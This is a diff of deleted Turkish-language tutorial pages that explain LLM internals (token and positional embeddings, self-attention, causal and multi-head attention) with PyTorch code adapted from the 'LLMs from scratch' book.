tensor([[ 40, 367, 2885, 1464],
[ 367, 2885, 1464, 1807],
[ 2885, 1464, 1807, 3619],
[ 1464, 1807, 3619, 402],
[ 1807, 3619, 402, 271],
[ 3619, 402, 271, 10899],
[ 402, 271, 10899, 2138],
[ 271, 10899, 2138, 257]]),
# Target
tensor([[ 367, 2885, 1464, 1807],
[ 2885, 1464, 1807, 3619],
[ 1464, 1807, 3619, 402],
[ 1807, 3619, 402, 271],
[ 3619, 402, 271, 10899],
[ 402, 271, 10899, 2138],
[ 271, 10899, 2138, 257],
[10899, 2138, 257, 7026]])
]
# With stride=4 this will be the result:
[
# Input
tensor([[ 40, 367, 2885, 1464],
[ 1807, 3619, 402, 271],
[10899, 2138, 257, 7026],
[15632, 438, 2016, 257],
[ 922, 5891, 1576, 438],
[ 568, 340, 373, 645],
[ 1049, 5975, 284, 502],
[ 284, 3285, 326, 11]]),
# Target
tensor([[ 367, 2885, 1464, 1807],
[ 3619, 402, 271, 10899],
[ 2138, 257, 7026, 15632],
[ 438, 2016, 257, 922],
[ 5891, 1576, 438, 568],
[ 340, 373, 645, 1049],
[ 5975, 284, 502, 284],
[ 3285, 326, 11, 287]])
]
```
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,203 +0,0 @@
# 3. Token Embeddings
## Token Embeddings
Metin verilerini tokenize ettikten sonra, GPT gibi büyük dil modelleri (LLM'ler) için verileri hazırlamanın bir sonraki kritik adımı **token embedding'leri** oluşturmaktır. Token embedding'leri, ayrık token'leri (örneğin kelimeler veya alt kelimeler) modelin işleyebileceği ve öğrenebileceği sürekli sayısal vektörlere dönüştürür. Bu açıklama, token embedding'lerini, başlatılmasını, kullanımını ve modelin token dizilerini anlama yetisini artırmada pozisyonel embedding'lerin rolünü detaylandırır.
> [!TIP]
> Bu üçüncü aşamanın amacı çok basit: **Sözlükteki önceki her bir token'e modelin eğitimi için istenen boyutlarda bir vektör atamak.** Sözlükteki her kelime, X boyutlu bir uzayda bir noktaya sahip olacaktır.\
> Başlangıçta her kelimenin uzaydaki konumunun "rastgele" başlatıldığını ve bu konumların eğitilebilir parametreler olduğunu unutmayın (eğitim sırasında geliştirilecektir).
>
> Ayrıca, token embedding sırasında **başka bir embedding katmanı oluşturulur** ki bu, (bu durumda) **kelimenin eğitim cümlesindeki mutlak konumunu** temsil eder. Bu şekilde, cümledeki farklı konumlarda bir kelime farklı bir temsil (anlam) alacaktır.
### **Token Embedding Nedir?**
**Token Embedding'leri**, token'ların sürekli bir vektör uzayındaki sayısal temsilleridir. Sözlükteki her token, sabit boyutlarda benzersiz bir vektörle ilişkilendirilir. Bu vektörler, token'lar hakkında anlamsal ve sözdizimsel bilgileri yakalar, böylece modelin verilerdeki ilişkileri ve kalıpları anlamasını sağlar.
- **Sözlük Boyutu:** Modelin sözlüğündeki benzersiz token'ların (örneğin, kelimeler, alt kelimeler) toplam sayısı.
- **Embedding Boyutları:** Her token'in vektöründeki sayısal değerlerin (boyutların) sayısı. Daha yüksek boyutlar daha ince bilgileri yakalayabilir ancak daha fazla hesaplama kaynağı gerektirir.
**Örnek:**
- **Sözlük Boyutu:** 6 token \[1, 2, 3, 4, 5, 6]
- **Embedding Boyutları:** 3 (x, y, z)
### **Token Embedding'lerin Başlatılması**
Eğitimin başlangıcında, token embedding'leri genellikle küçük rastgele değerlerle başlatılır. Bu başlangıç değerleri, eğitim verilerine dayalı olarak token'ların anlamlarını daha iyi temsil etmek için eğitim sırasında ayarlanır (ince ayar yapılır).
**PyTorch Örneği:**
```python
import torch
# Set a random seed for reproducibility
torch.manual_seed(123)
# Create an embedding layer with 6 tokens and 3 dimensions
embedding_layer = torch.nn.Embedding(6, 3)
# Display the initial weights (embeddings)
print(embedding_layer.weight)
```
**Çıktı:**
```lua
luaCopy codeParameter containing:
tensor([[ 0.3374, -0.1778, -0.1690],
[ 0.9178, 1.5810, 1.3010],
[ 1.2753, -0.2010, -0.1606],
[-0.4015, 0.9666, -1.1481],
[-1.1589, 0.3255, -0.6315],
[-2.8400, -0.7849, -1.4096]], requires_grad=True)
```
**Açıklama:**
- Her satır, kelime dağarcığındaki bir token'a karşılık gelir.
- Her sütun, gömme vektöründeki bir boyutu temsil eder.
- Örneğin, `3` indeksindeki token'ın gömme vektörü `[-0.4015, 0.9666, -1.1481]`'dir.
**Bir Token'ın Gömme Vektörüne Erişim:**
```python
# Retrieve the embedding for the token at index 3
token_index = torch.tensor([3])
print(embedding_layer(token_index))
```
**Çıktı:**
```lua
tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
```
**Yorum:**
- `3` indeksindeki token, `[-0.4015, 0.9666, -1.1481]` vektörü ile temsil edilmektedir.
- Bu değerler, modelin token'ın bağlamını ve anlamını daha iyi temsil etmek için eğitim sırasında ayarlayacağı eğitilebilir parametrelerdir.
### **Token Gömme İşlemleri Eğitim Sırasında Nasıl Çalışır**
Eğitim sırasında, giriş verilerindeki her token, karşılık gelen gömme vektörüne dönüştürülür. Bu vektörler, model içinde dikkat mekanizmaları ve sinir ağı katmanları gibi çeşitli hesaplamalarda kullanılır.
**Örnek Senaryo:**
- **Batch Boyutu:** 8 (aynı anda işlenen örnek sayısı)
- **Maksimum Dizi Uzunluğu:** 4 (örnek başına token sayısı)
- **Gömme Boyutları:** 256
**Veri Yapısı:**
- Her batch, `(batch_size, max_length, embedding_dim)` şeklinde 3D bir tensör olarak temsil edilir.
- Örneğimiz için şekil `(8, 4, 256)` olacaktır.
**Görselleştirme:**
```css
cssCopy codeBatch
┌─────────────┐
│ Sample 1 │
│ ┌─────┐ │
│ │Token│ → [x₁₁, x₁₂, ..., x₁₂₅₆]
│ │ 1 │ │
│ │... │ │
│ │Token│ │
│ │ 4 │ │
│ └─────┘ │
│ Sample 2 │
│ ┌─────┐ │
│ │Token│ → [x₂₁, x₂₂, ..., x₂₂₅₆]
│ │ 1 │ │
│ │... │ │
│ │Token│ │
│ │ 4 │ │
│ └─────┘ │
│ ... │
│ Sample 8 │
│ ┌─────┐ │
│ │Token│ → [x₈₁, x₈₂, ..., x₈₂₅₆]
│ │ 1 │ │
│ │... │ │
│ │Token│ │
│ │ 4 │ │
│ └─────┘ │
└─────────────┘
```
**Açıklama:**
- Sıra içindeki her token, 256 boyutlu bir vektörle temsil edilir.
- Model, bu gömme vektörlerini işleyerek dil kalıplarını öğrenir ve tahminler üretir.
## **Pozisyonel Gömme: Token Gömme İçin Bağlam Eklemek**
Token gömmeleri bireysel tokenların anlamını yakalarken, bir dizideki tokenların konumunu doğrudan kodlamaz. Tokenların sırasını anlamak, dil anlayışı için kritik öneme sahiptir. İşte bu noktada **pozisyonel gömmeler** devreye girer.
### **Pozisyonel Gömme Neden Gereklidir:**
- **Token Sırası Önemlidir:** Cümlelerde, anlam genellikle kelimelerin sırasına bağlıdır. Örneğin, "Kedi minderde oturdu" ile "Minder kedinin üstünde oturdu."
- **Gömme Sınırlaması:** Pozisyonel bilgi olmadan, model tokenları "kelime torbası" olarak ele alır ve sıralarını göz ardı eder.
### **Pozisyonel Gömme Türleri:**
1. **Mutlak Pozisyonel Gömme:**
- Dizideki her pozisyona benzersiz bir pozisyon vektörü atar.
- **Örnek:** Herhangi bir dizideki ilk token aynı pozisyonel gömme vektörüne sahiptir, ikinci token başka birine ve devam eder.
- **Kullananlar:** OpenAInin GPT modelleri.
2. **Göreli Pozisyonel Gömme:**
- Tokenlar arasındaki göreli mesafeyi, mutlak pozisyonları yerine kodlar.
- **Örnek:** İki tokenın ne kadar uzakta olduğunu, dizideki mutlak pozisyonlarına bakılmaksızın belirtir.
- **Kullananlar:** Transformer-XL gibi modeller ve bazı BERT varyantları.
### **Pozisyonel Gömme Nasıl Entegre Edilir:**
- **Aynı Boyutlar:** Pozisyonel gömmeler, token gömmeleriyle aynı boyutluluğa sahiptir.
- **Toplama:** Token kimliğini pozisyonel bilgiyle birleştirerek, genel boyutluluğu artırmadan token gömmelerine eklenir.
**Pozisyonel Gömme Ekleme Örneği:**
Diyelim ki bir token gömme vektörü `[0.5, -0.2, 0.1]` ve pozisyonel gömme vektörü `[0.1, 0.3, -0.1]` olsun. Model tarafından kullanılan birleşik gömme şöyle olacaktır:
```css
Combined Embedding = Token Embedding + Positional Embedding
= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)]
= [0.6, 0.1, 0.0]
```
**Pozisyonel Gömme Faydaları:**
- **Bağlamsal Farkındalık:** Model, token'ları konumlarına göre ayırt edebilir.
- **Dizi Anlayışı:** Modelin dilbilgisi, sözdizimi ve bağlama bağlı anlamları anlamasını sağlar.
## Kod Örneği
Aşağıda [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb) adresinden alınan kod örneği ile devam edilmektedir:
```python
# Use previous code...
# Create dimensional emdeddings
"""
BPE uses a vocabulary of 50257 words
Let's supose we want to use 256 dimensions (instead of the millions used by LLMs)
"""
vocab_size = 50257
output_dim = 256
token_embedding_layer = torch.nn.Embedding(vocab_size, output_dim)
## Generate the dataloader like before
max_length = 4
dataloader = create_dataloader_v1(
raw_text, batch_size=8, max_length=max_length,
stride=max_length, shuffle=False
)
data_iter = iter(dataloader)
inputs, targets = next(data_iter)
# Apply embeddings
token_embeddings = token_embedding_layer(inputs)
print(token_embeddings.shape)
torch.Size([8, 4, 256]) # 8 x 4 x 256
# Generate absolute embeddings
context_length = max_length
pos_embedding_layer = torch.nn.Embedding(context_length, output_dim)
pos_embeddings = pos_embedding_layer(torch.arange(max_length))
input_embeddings = token_embeddings + pos_embeddings
print(input_embeddings.shape) # torch.Size([8, 4, 256])
```
## Referanslar
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,416 +0,0 @@
# 4. Dikkat Mekanizmaları
## Dikkat Mekanizmaları ve Sinir Ağlarındaki Kendine Dikkat
Dikkat mekanizmaları, sinir ağlarının her çıktı parçasını oluştururken girdi verisinin belirli kısımlarına odaklanmasını sağlar. Farklı girdilere farklıırlıklar atayarak, modelin mevcut göreve en uygun girdileri belirlemesine yardımcı olur. Bu, makine çevirisi gibi, tüm cümlenin bağlamını anlamanın doğru çeviri için gerekli olduğu görevlerde kritik öneme sahiptir.
> [!TIP]
> Bu dördüncü aşamanın amacı çok basit: **Bazı dikkat mekanizmaları uygulamak**. Bunlar, **LLM'yi eğitmek için kullanılan mevcut cümledeki bir kelimenin komşularıyla olan ilişkisini yakalayacak çok sayıda **tekrarlanan katman** olacak.\
> Bunun için çok sayıda katman kullanılıyor, bu nedenle çok sayıda eğitilebilir parametre bu bilgiyi yakalayacak.
### Dikkat Mekanizmalarını Anlamak
Dil çevirisi için kullanılan geleneksel sıralı-sıralı modellerde, model bir girdi dizisini sabit boyutlu bir bağlam vektörüne kodlar. Ancak, bu yaklaşım uzun cümlelerle başa çıkmakta zorlanır çünkü sabit boyutlu bağlam vektörü gerekli tüm bilgileri yakalayamayabilir. Dikkat mekanizmaları, modelin her çıktı token'ını oluştururken tüm girdi token'larını dikkate almasına olanak tanıyarak bu sınırlamayı aşar.
#### Örnek: Makine Çevirisi
Almanca "Kannst du mir helfen diesen Satz zu übersetzen" cümlesini İngilizceye çevirmeyi düşünün. Kelime kelime çeviri, diller arasındaki dilbilgisel yapı farklılıkları nedeniyle gramer açısından doğru bir İngilizce cümle üretmeyecektir. Bir dikkat mekanizması, modelin çıktı cümlesinin her kelimesini oluştururken girdi cümlesinin ilgili kısımlarına odaklanmasını sağlar ve bu da daha doğru ve tutarlı bir çeviri ile sonuçlanır.
### Kendine Dikkate Giriş
Kendine dikkat, ya da içsel dikkat, dikkat mekanizmasının tek bir dizide uygulanarak o dizinin bir temsilini hesapladığı bir mekanizmadır. Bu, dizideki her token'ın diğer tüm token'lara dikkat etmesine olanak tanır ve modelin token'lar arasındaki bağımlılıkları, dizideki mesafelerine bakılmaksızın yakalamasına yardımcı olur.
#### Temel Kavramlar
- **Token'lar**: Girdi dizisinin bireysel elemanları (örneğin, bir cümledeki kelimeler).
- **Gömme**: Token'ların vektör temsilleri, anlamsal bilgiyi yakalar.
- **Dikkat Ağırlıkları**: Her token'ın diğerlerine göre önemini belirleyen değerler.
### Dikkat Ağırlıklarını Hesaplama: Adım Adım Bir Örnek
**"Hello shiny sun!"** cümlesini ele alalım ve her kelimeyi 3 boyutlu bir gömme ile temsil edelim:
- **Hello**: `[0.34, 0.22, 0.54]`
- **shiny**: `[0.53, 0.34, 0.98]`
- **sun**: `[0.29, 0.54, 0.93]`
Amacımız, **shiny** kelimesi için kendine dikkat kullanarak **bağlam vektörünü** hesaplamaktır.
#### Adım 1: Dikkat Puanlarını Hesapla
> [!TIP]
> Sadece sorgunun her boyut değerini ilgili token'ınki ile çarpın ve sonuçları toplayın. Her token çifti için 1 değer elde edersiniz.
Cümledeki her kelime için, **shiny** ile ilgili dikkat puanını, gömmelerinin noktasal çarpımını hesaplayarak belirleyin.
**"Hello" ve "shiny" Arasındaki Dikkat Puanı**
<figure><img src="../../images/image (4) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**"shiny" ve "shiny" Arasındaki Dikkat Puanı**
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**"sun" ve "shiny" Arasındaki Dikkat Puanı**
<figure><img src="../../images/image (2) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
#### Adım 2: Dikkat Puanlarını Normalleştirerek Dikkat Ağırlıklarını Elde Et
> [!TIP]
> Matematiksel terimlerde kaybolmayın, bu fonksiyonun amacı basit, tüm ağırlıkları normalleştirin ki **toplamları 1 olsun**.
>
> Ayrıca, **softmax** fonksiyonu kullanılır çünkü bu, üstel kısım nedeniyle farklılıkları vurgular ve yararlı değerleri tespit etmeyi kolaylaştırır.
Dikkat puanlarına **softmax fonksiyonu** uygulayarak, toplamı 1 olan dikkat ağırlıklarına dönüştürün.
<figure><img src="../../images/image (3) (1) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
Üstel değerleri hesaplama:
<figure><img src="../../images/image (4) (1) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
Toplamı hesaplama:
<figure><img src="../../images/image (5) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Dikkat ağırlıklarını hesaplama:
<figure><img src="../../images/image (6) (1) (1).png" alt="" width="404"><figcaption></figcaption></figure>
#### Adım 3: Bağlam Vektörünü Hesapla
> [!TIP]
> Her dikkat ağırlığını alın ve ilgili token boyutlarıyla çarpın, ardından tüm boyutları toplayarak sadece 1 vektör (bağlam vektörü) elde edin.
**Bağlam vektörü**, tüm kelimelerin gömmelerinin ağırlıklı toplamı olarak hesaplanır ve dikkat ağırlıkları kullanılır.
<figure><img src="../../images/image (16).png" alt="" width="369"><figcaption></figcaption></figure>
Her bileşeni hesaplama:
- **"Hello" için Ağırlıklı Gömme**:
<figure><img src="../../images/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
- **"shiny" için Ağırlıklı Gömme**:
<figure><img src="../../images/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
- **"sun" için Ağırlıklı Gömme**:
<figure><img src="../../images/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
ırlıklı gömmeleri toplama:
`bağlam vektörü=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
**Bu bağlam vektörü, "shiny" kelimesi için zenginleştirilmiş gömme temsilini, cümledeki tüm kelimelerden gelen bilgileri içerecek şekilde temsil eder.**
### Sürecin Özeti
1. **Dikkat Puanlarını Hesapla**: Hedef kelimenin gömmesi ile dizideki tüm kelimelerin gömmeleri arasındaki noktasal çarpımı kullanın.
2. **Ağırlıkları Elde Etmek için Puanları Normalleştir**: Dikkat puanlarına softmax fonksiyonunu uygulayarak toplamı 1 olan ağırlıklar elde edin.
3. **Bağlam Vektörünü Hesapla**: Her kelimenin gömmesini dikkat ağırlığı ile çarpın ve sonuçları toplayın.
## Eğitilebilir Ağırlıklarla Kendine Dikkat
Pratikte, kendine dikkat mekanizmaları, sorgular, anahtarlar ve değerler için en iyi temsilleri öğrenmek üzere **eğitilebilir ağırlıklar** kullanır. Bu, üç ağırlık matrisinin tanıtılmasını içerir:
<figure><img src="../../images/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
Sorgu, daha önce olduğu gibi kullanılacak veridir, anahtarlar ve değerler matrisleri ise sadece rastgele eğitilebilir matrislerdir.
#### Adım 1: Sorguları, Anahtarları ve Değerleri Hesapla
Her token, tanımlanan matrislerle boyut değerlerini çarparak kendi sorgu, anahtar ve değer matrisine sahip olacaktır:
<figure><img src="../../images/image (11).png" alt="" width="253"><figcaption></figcaption></figure>
Bu matrisler, orijinal gömmeleri dikkat hesaplamaları için uygun yeni bir alana dönüştürür.
**Örnek**
Varsayalım ki:
- Girdi boyutu `din=3` (gömme boyutu)
- Çıktı boyutu `dout=2` (sorgular, anahtarlar ve değerler için istenen boyut)
ırlık matrislerini başlatın:
```python
import torch.nn as nn
d_in = 3
d_out = 2
W_query = nn.Parameter(torch.rand(d_in, d_out))
W_key = nn.Parameter(torch.rand(d_in, d_out))
W_value = nn.Parameter(torch.rand(d_in, d_out))
```
Sorguları, anahtarları ve değerleri hesapla:
```python
queries = torch.matmul(inputs, W_query)
keys = torch.matmul(inputs, W_key)
values = torch.matmul(inputs, W_value)
```
#### Adım 2: Ölçeklenmiş Nokta-Ürün Dikkatini Hesapla
**Dikkat Puanlarını Hesapla**
Önceki örneğe benzer, ancak bu sefer, token'ların boyutlarının değerlerini kullanmak yerine, token'ın anahtar matrisini kullanıyoruz (zaten boyutlar kullanılarak hesaplandı):. Yani, her sorgu `qi` ve anahtar `kj` için:
<figure><img src="../../images/image (12).png" alt=""><figcaption></figcaption></figure>
**Puanları Ölçekle**
Nokta çarpımlarının çok büyük olmasını önlemek için, bunları anahtar boyutunun karekökü `dk` ile ölçeklendir:
<figure><img src="../../images/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
> [!TIP]
> Puan, boyutların karekökü ile bölünür çünkü nokta çarpımları çok büyük hale gelebilir ve bu, onları düzenlemeye yardımcı olur.
**Dikkat Ağırlıklarını Elde Etmek İçin Softmax Uygula:** İlk örnekte olduğu gibi, tüm değerleri normalize et, böylece toplamları 1 olur.
<figure><img src="../../images/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
#### Adım 3: Bağlam Vektörlerini Hesapla
İlk örnekte olduğu gibi, her birini dikkat ağırlığı ile çarparak tüm değer matrislerini topla:
<figure><img src="../../images/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
### Kod Örneği
[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) adresinden bir örnek alarak, bahsettiğimiz kendine dikkat işlevselliğini uygulayan bu sınıfı kontrol edebilirsiniz:
```python
import torch
inputs = torch.tensor(
[[0.43, 0.15, 0.89], # Your (x^1)
[0.55, 0.87, 0.66], # journey (x^2)
[0.57, 0.85, 0.64], # starts (x^3)
[0.22, 0.58, 0.33], # with (x^4)
[0.77, 0.25, 0.10], # one (x^5)
[0.05, 0.80, 0.55]] # step (x^6)
)
import torch.nn as nn
class SelfAttention_v2(nn.Module):
def __init__(self, d_in, d_out, qkv_bias=False):
super().__init__()
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
def forward(self, x):
keys = self.W_key(x)
queries = self.W_query(x)
values = self.W_value(x)
attn_scores = queries @ keys.T
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
context_vec = attn_weights @ values
return context_vec
d_in=3
d_out=2
torch.manual_seed(789)
sa_v2 = SelfAttention_v2(d_in, d_out)
print(sa_v2(inputs))
```
> [!NOTE]
> Matrisleri rastgele değerlerle başlatmak yerine, tüm ağırlıkları eğitilecek parametreler olarak işaretlemek için `nn.Linear` kullanıldığını unutmayın.
## Nedensel Dikkat: Gelecek Kelimeleri Gizleme
LLM'ler için modelin, **bir sonraki token'ı tahmin etmek** amacıyla mevcut pozisyondan önceki token'ları dikkate almasını istiyoruz. **Nedensel dikkat**, ayrıca **maskelenmiş dikkat** olarak da bilinir, dikkat mekanizmasını değiştirerek gelecekteki token'lara erişimi engelleyerek bunu başarır.
### Nedensel Dikkat Maskesi Uygulama
Nedensel dikkati uygulamak için, dikkat puanlarına **softmax işlemi öncesinde** bir maske uygularız, böylece kalanlar hala 1'e toplamış olur. Bu maske, gelecekteki token'ların dikkat puanlarını negatif sonsuzluğa ayarlayarak, softmax'tan sonra dikkat ağırlıklarının sıfır olmasını sağlar.
**Adımlar**
1. **Dikkat Puanlarını Hesapla**: Önceki gibi.
2. **Maske Uygula**: Diyagonalın üstünde negatif sonsuzlukla doldurulmuş bir üst üçgen matris kullanın.
```python
mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf')
masked_scores = attention_scores + mask
```
3. **Softmax Uygula**: Maskelenmiş puanları kullanarak dikkat ağırlıklarını hesaplayın.
```python
attention_weights = torch.softmax(masked_scores, dim=-1)
```
### Ek Dikkat Ağırlıklarını Dropout ile Maskeleme
**Aşırı uyumu önlemek** için, softmax işleminden sonra dikkat ağırlıklarına **dropout** uygulayabiliriz. Dropout, eğitim sırasında **dikkat ağırlıklarının bazılarını rastgele sıfırlar**.
```python
dropout = nn.Dropout(p=0.5)
attention_weights = dropout(attention_weights)
```
Bir normal dropout yaklaşık %10-20'dir.
### Kod Örneği
Kod örneği [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb):
```python
import torch
import torch.nn as nn
inputs = torch.tensor(
[[0.43, 0.15, 0.89], # Your (x^1)
[0.55, 0.87, 0.66], # journey (x^2)
[0.57, 0.85, 0.64], # starts (x^3)
[0.22, 0.58, 0.33], # with (x^4)
[0.77, 0.25, 0.10], # one (x^5)
[0.05, 0.80, 0.55]] # step (x^6)
)
batch = torch.stack((inputs, inputs), dim=0)
print(batch.shape)
class CausalAttention(nn.Module):
def __init__(self, d_in, d_out, context_length,
dropout, qkv_bias=False):
super().__init__()
self.d_out = d_out
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
self.dropout = nn.Dropout(dropout)
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) # New
def forward(self, x):
b, num_tokens, d_in = x.shape
# b is the num of batches
# num_tokens is the number of tokens per batch
# d_in is the dimensions er token
keys = self.W_key(x) # This generates the keys of the tokens
queries = self.W_query(x)
values = self.W_value(x)
attn_scores = queries @ keys.transpose(1, 2) # Moves the third dimension to the second one and the second one to the third one to be able to multiply
attn_scores.masked_fill_( # New, _ ops are in-place
self.mask.bool()[:num_tokens, :num_tokens], -torch.inf) # `:num_tokens` to account for cases where the number of tokens in the batch is smaller than the supported context_size
attn_weights = torch.softmax(
attn_scores / keys.shape[-1]**0.5, dim=-1
)
attn_weights = self.dropout(attn_weights)
context_vec = attn_weights @ values
return context_vec
torch.manual_seed(123)
context_length = batch.shape[1]
d_in = 3
d_out = 2
ca = CausalAttention(d_in, d_out, context_length, 0.0)
context_vecs = ca(batch)
print(context_vecs)
print("context_vecs.shape:", context_vecs.shape)
```
## Tek Başlı Dikkati Çok Başlı Dikkate Genişletme
**Çok başlı dikkat**, pratikte **kendi ağırlıkları** ile **birden fazla örneğin** kendine dikkat fonksiyonunu çalıştırmasından oluşur, böylece farklı son vektörler hesaplanır.
### Kod Örneği
Önceki kodu yeniden kullanmak ve sadece birkaç kez çalıştıran bir sarmalayıcı eklemek mümkün olabilir, ancak bu, tüm başları aynı anda işleyen daha optimize bir versiyondur [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) ve pahalı döngü sayısını azaltır. Kodda görüldüğü gibi, her bir token'ın boyutları baş sayısına göre farklı boyutlara bölünmüştür. Bu şekilde, eğer token 8 boyuta sahipse ve 3 baş kullanmak istiyorsak, boyutlar 4 boyuttan oluşan 2 diziye bölünecek ve her baş bunlardan birini kullanacaktır:
```python
class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
super().__init__()
assert (d_out % num_heads == 0), \
"d_out must be divisible by num_heads"
self.d_out = d_out
self.num_heads = num_heads
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
self.dropout = nn.Dropout(dropout)
self.register_buffer(
"mask",
torch.triu(torch.ones(context_length, context_length),
diagonal=1)
)
def forward(self, x):
b, num_tokens, d_in = x.shape
# b is the num of batches
# num_tokens is the number of tokens per batch
# d_in is the dimensions er token
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
queries = self.W_query(x)
values = self.W_value(x)
# We implicitly split the matrix by adding a `num_heads` dimension
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
keys = keys.transpose(1, 2)
queries = queries.transpose(1, 2)
values = values.transpose(1, 2)
# Compute scaled dot-product attention (aka self-attention) with a causal mask
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
# Original mask truncated to the number of tokens and converted to boolean
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
# Use the mask to fill attention scores
attn_scores.masked_fill_(mask_bool, -torch.inf)
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
attn_weights = self.dropout(attn_weights)
# Shape: (b, num_tokens, num_heads, head_dim)
context_vec = (attn_weights @ values).transpose(1, 2)
# Combine heads, where self.d_out = self.num_heads * self.head_dim
context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
context_vec = self.out_proj(context_vec) # optional projection
return context_vec
torch.manual_seed(123)
batch_size, context_length, d_in = batch.shape
d_out = 2
mha = MultiHeadAttention(d_in, d_out, context_length, 0.0, num_heads=2)
context_vecs = mha(batch)
print(context_vecs)
print("context_vecs.shape:", context_vecs.shape)
```
Başka bir kompakt ve verimli uygulama için PyTorch'taki [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) sınıfını kullanabilirsiniz.
> [!TIP]
> ChatGPT'nin, her başın tüm token'ların tüm boyutlarını kontrol etmesi yerine token'ların boyutlarını başlar arasında bölmenin neden daha iyi olduğu hakkında kısa yanıtı:
>
> Her başın tüm gömme boyutlarını işlemesine izin vermek, her başın tam bilgiye erişimi olacağı için avantajlı gibi görünse de, standart uygulama **gömme boyutlarını başlar arasında bölmektir**. Bu yaklaşım, hesaplama verimliliği ile model performansını dengeleyerek her başın çeşitli temsilleri öğrenmesini teşvik eder. Bu nedenle, gömme boyutlarını bölmek, her başın tüm boyutları kontrol etmesinden genellikle tercih edilir.
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,666 +0,0 @@
# 5. LLM Mimarisi
## LLM Mimarisi
> [!TIP]
> Bu beşinci aşamanın amacı çok basit: **Tam LLM mimarisini geliştirmek**. Her şeyi bir araya getirin, tüm katmanları uygulayın ve metin oluşturmak veya metni ID'lere ve geriye dönüştürmek için tüm fonksiyonları oluşturun.
>
> Bu mimari, eğitim ve eğitimden sonra metin tahmini için kullanılacaktır.
LLM mimarisi örneği [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
Yüksek seviyeli bir temsil aşağıda gözlemlenebilir:
<figure><img src="../../images/image (3) (1) (1) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
1. **Girdi (Tokenize Edilmiş Metin)**: Süreç, sayısal temsillere dönüştürülen tokenize edilmiş metinle başlar.
